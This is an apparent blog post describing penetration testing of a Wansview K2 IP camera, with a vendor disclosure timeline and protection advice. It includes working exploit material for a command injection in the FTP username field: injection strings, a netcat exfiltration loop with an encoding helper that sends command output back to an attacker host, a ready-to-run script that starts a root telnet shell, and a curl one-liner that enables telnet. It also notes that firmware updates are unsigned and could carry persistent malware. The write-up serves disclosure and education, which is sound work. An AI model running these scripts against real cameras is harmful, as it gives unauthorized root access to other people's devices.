This post is an introduction to penetration testing an IoT device. There are much more advanced toolkits available but this post details a “starting-from-scratch” approach that I took in order to re-familiarize myself with penetration testing. As long as you have a some amount of familiarity with Linux and common tools you should be able to follow along.
TLDR: Jump to the exploit code if you just want to get root on your camera.
The cost of IP cameras has come down significantly and when I noticed one for sale on Amazon for 30 dollars I decided it was worth a purchase. In addition to adding another camera to my smart home setup (shout out to Home Assistant) I could have fun trying to hack the camera since cheap Internet of Things devices are notoriously insecure. The text on the product description page mentioned that the device wouldn’t work if your WiFi password contained the characters & or ‘ – this was a clear indication that the product may not be properly parameterizing values.
The camera used here is a Wansview K2. I imagine the issue is present on other Wansview cameras in the same family as well as clones.
Once the initial set up using an Android or iPhone is complete the camera presents a web interface on the local network that can be used to configure the device. Looking through the various configuration pages revealed several pages that may be worth probing for command injection vulnerabilities.
It was also worth scanning to see what ports the device was listening on in case the device was running a known vulnerable service. This was not fruitful as the device appears to only listen on port 80.
Probing for command injection vulnerabilities
First, lets try setting the values of various parameters in the interface to characters that have special meanings in the shell:
Now lets try putting that special character in the URL and see if the server checks for it:
Hmm. “Error: CallServer failed”. Does this mean the server refused to accept our input? Let’s reload the FTP settings page to see if it stored the value we sent:
setup_ftp -a ‘server_address’ -p ‘port’ -u ‘username’ -p ‘password’
Therefore, by including the single quote we break out of that. The `whoami` attempts to run “whoami” and fill in the value. The shell evaluates anything inside of backticks (`) as a command and executes it and then places the resulting output text in place of the original backtick-quotes text. Normally quoting arguments with single quotes prevents that behavior and forces the backticks to be interpreted literally. That is why we include the single quote first. The last single quote is included to match the existing closing single quote. So we are expecting the server to run something like this (note that those are not double quotes – they are two adjacent single quotes):
setup_ftp -a ‘server_address’ -p ‘port’ -u ”`whoami`” -p ‘password’
Ideally when we reload the FTP page we will see the result of the Linux “whoami” command in the username field. Unfortunately all we see is all fields filled in with the “[object HTMLInputElement]” value.
Lets get clever
We’ve encountered our first minor set-back. From the behavior of the server, it appears that we are doing something we shouldn’t be able to when we send FTP usernames with single quotes. It is even possible that our injected shell command is running but if we can’t see the output how will we take advantage of this? If you look again at the FTP page you can see there is a “Test” option. If we set up a honeypot FTP server that logs all connection attempts, and inject a command into the username field perhaps our fake FTP server will get to see the command output. To set up our fake FTP server lets just listen on the port we specified in the FTP configuration using netcat. The command used to do this is “nc -l 8000”. (My machine name on the local network is “server”.)
When we click “Test” this is what we see:
Hmm. This frustrated me for a while. After taking a break to clear my thoughts I realized that the camera might be waiting for the FTP server to identify itself before sending the username. Looking into the FTP protocol more I see that indeed the server begins the connection. So now lets repeat but have my server send a brief FTP header before listening for the camera to send the username. Here is the text I used to emulate an FTP server:
220-FTPSERVE at machine_name, hh:mm:ss CST day mm/dd/yy machine_name username:
I then ran netcat again like such “nc -l 8000 < fake_ftp” where the file “fake_ftp” contains the string above.
Here is what we see:
Success! Rather than send the “username” which we submitted
the server sent the result of the whoami command! Furthermore, the web server is running as root. This is going to be easy. At this point we have the ability to do arbitrary remote code execution by using command injection on the username field of the FTP configuration page and then pressing the “Test” button while running netcat in order to view the output.
We can do better
It’s nice that we’ve got our foot in the door, but it would be nicer to get an actual shell on the camera. I attempted to initialize a number of reverse shells and even went so far as to attempt to cross-compile a C reverse shell for ARM. Unfortunately all of these efforts were fruitless. Finally I realized that rather than running the fake FTP server I could just pipe my commands on the camera into nc to send the results back to the server. So for example, on the server I would run
nc -l 8000
and the magic string to inject as the username would be
‘`whoami | nc server 9000`’
I developed a simple script that would update the FTP settings, open a netcat terminal listening on port 9000, and then send the GET request to the camera that triggers the FTP “Test”. The camera fails to connect to the FTP server but we don’t care because our command still gets executed and the results sent back to us on port 9000. That script served the purpose of emulating a shell on the device.
I’m including it here for reference but keep reading because I came up with a better solution:
#!/bin/bash cam_ip=192.168.1.x username=admin passwd=123456 attacker=server while [ 1 ] do # Pretend like this is a real terminal echo -n '$ ' # Update the FTP settings curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=$attacker&ft_port=21&ft_username=u$(./encode.py $attacker)&ft_password=p&ft_dirname=./" -s > /dev/null # Trigger the results to get sent back curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=testftp" -s > /dev/null & # Start listening for the results. This should really be before the previous request, # but since our computer runs faster than the camera can connect it works fine. nc -l 9000 done
In order for it to work you also need the following python script saved as “encode.py” and executable:
#!/usr/bin/env python2 import sys import urllib print urllib.quote("""'"`%s`"'""" % (raw_input().strip() + " | nc "+ sys.argv + " 9000"))
We can still do better
Now that I had a basic shell I began poking around the camera. It contains a simple ARM chip (the Grain-Media GM8136 series which is an ARM v5 chip) and among other things, busybox to emulate the standard linux utilities. Furthermore, I was able to determine that the busybox implementation of the telnet daemon was present. At this point all we need to do is start the daemon and then we should be able to connect and have a real shell. Using the tool I developed above, I started telnet by running “/usr/sbin/telnetd” using the method described above. At this point there is a real telnet shell listening on the camera for us to connect to:
UPDATE: Since the original posting, others have discovered (see the comments) that there is a CGI method which can be called to turn on the camera’s telnet daemon without needing to perform an RCE. It is more straightforward than the code below, which is still available for reference. If all you care about is getting a shell, then just run the following command, making sure to substitute your username, password, and camera IP where appropriate, and then connecting to the camera using telnet (also described below).
curl --digest -u admin:123456 -X GET "http://192.168.1.xxx/hy-cgi/factory_param.cgi?cmd=settelnetstatus&enable=1"
If you read all of this and you just want the easiest way to get root on your camera, use this script (edit in your username, password, and camera IP in the script):
#!/bin/bash cam_ip=192.168.1.x username=admin passwd=123456 echo "Using shell injection to start telnetd on camera..." curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=setftpattr&ft_server=127.0.0.1&ft_port=9000&ft_username=u%27%22%60killall%20telnetd%3B%20/usr/sbin/telnetd%20-l/bin/sh%60%22%27&ft_password=p&ft_dirname=./" -s > /dev/null # Trigger the camera to execute our injected shell code curl --digest -u $username:$passwd -X GET "http://$cam_ip/hy-cgi/ftp.cgi?cmd=testftp" -s > /dev/null rc=$?; if [[ $rc != 0 ]]; then echo "Error..."; exit $rc; fi echo "Success!" echo "To connect run: telnet "$cam_ip
After running the script just run “telnet cam_ip” to connect to your camera using telnet.
There are a few caveats here. First of all, in order to access the web interface you need a valid username and password. This prevents you from getting access to cameras for which you do not have the password, unless the owner never changed the default password. In reality, a large percent of people fail to change the default password. Nevertheless they are only vulnerable to this exploit if the attacker is on their LAN.
Future avenues of exploration
- Thorough investigation of the camera system leads me to believe that there is no easy way to run this exploit without knowing the username/password. It is using an up to date version of lighttpd and the configuration is sensible. There are some other services running on the camera though and it is possible that one of them is exploitable through a buffer overflow or other c exploit. I plan on investigating further.
- I was able to dump the camera firmware. Investigating the firmware update routine it appears that updates are not cryptographically verified at all. This means that it is possible to modify the camera firmware to have persistent malware or spyware and flash it on the camera. If you were to give such a camera to someone even a manual reset would not remove the malware. Furthermore, if you detect any cameras with default username/password combos you could infect them as well.
How can I protect myself
Firewall off all IoT devices to prevent them from making ANY outbound connections. Then run Home Assistant or similar software inside of your LAN and have it connect to your cameras and IoT devices and export their functionality. I run Home Assistant behind an NGINX reverse proxy with username/password authentication so that I can access it outside the home without exposing it to the world.
Assume that all IoT devices are compromised.
February 7th, 2017 – Discovered FTP command injection.
March 7th, 2017 – Sent initial e-mail to tech support asking for a security contact.
March 7th, 2017 – Received update from Wansview that they have fixed the issue in the newest firmware. (I had not yet reported the specific issue, just asked for a technical contact.)
March 7th, 2017- Responded that I was on the newest firmware.
March 8th, 2017 – Saw that this was independently discovered and disclosed elsewhere and as such released post publicly prior to vendor patch.
March 16th, 2017 – Emailed again to ask for a status update.
March 16th, 2017 – Received response that the issue had been passed along to software department. (I had still not reported the specific issue, only that there was one.)
August 9th, 2017 – Updated this post to include manufacturer details since this issue is still not resolved.
October 24th, 2018 – According to comments on this post, the vulnerability is still there on the newest firmware installed on just-purchased devices. 🤦